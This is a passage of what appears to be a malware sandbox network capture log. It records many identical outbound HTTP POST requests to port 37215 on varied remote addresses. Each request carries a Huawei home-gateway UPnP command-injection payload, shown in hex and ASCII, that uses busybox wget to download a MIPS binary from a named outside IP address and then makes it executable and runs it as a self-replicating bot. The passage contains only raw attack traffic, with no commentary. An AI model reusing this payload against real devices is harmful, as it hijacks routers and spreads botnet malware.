2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	35060	41.217.148.106	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226850033 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	50256	197.28.94.236	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226881981 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	48602	156.115.43.246	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226928949 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	45368	197.140.84.17	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226947069 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	52468	41.124.198.243	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.226983070 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	43186	41.200.212.119	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227021933 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	54416	41.190.79.22	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227056026 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	41320	156.194.192.81	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227097988 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	56796	197.209.228.49	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227118015 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	32820	41.189.71.234	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:19.227145910 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l 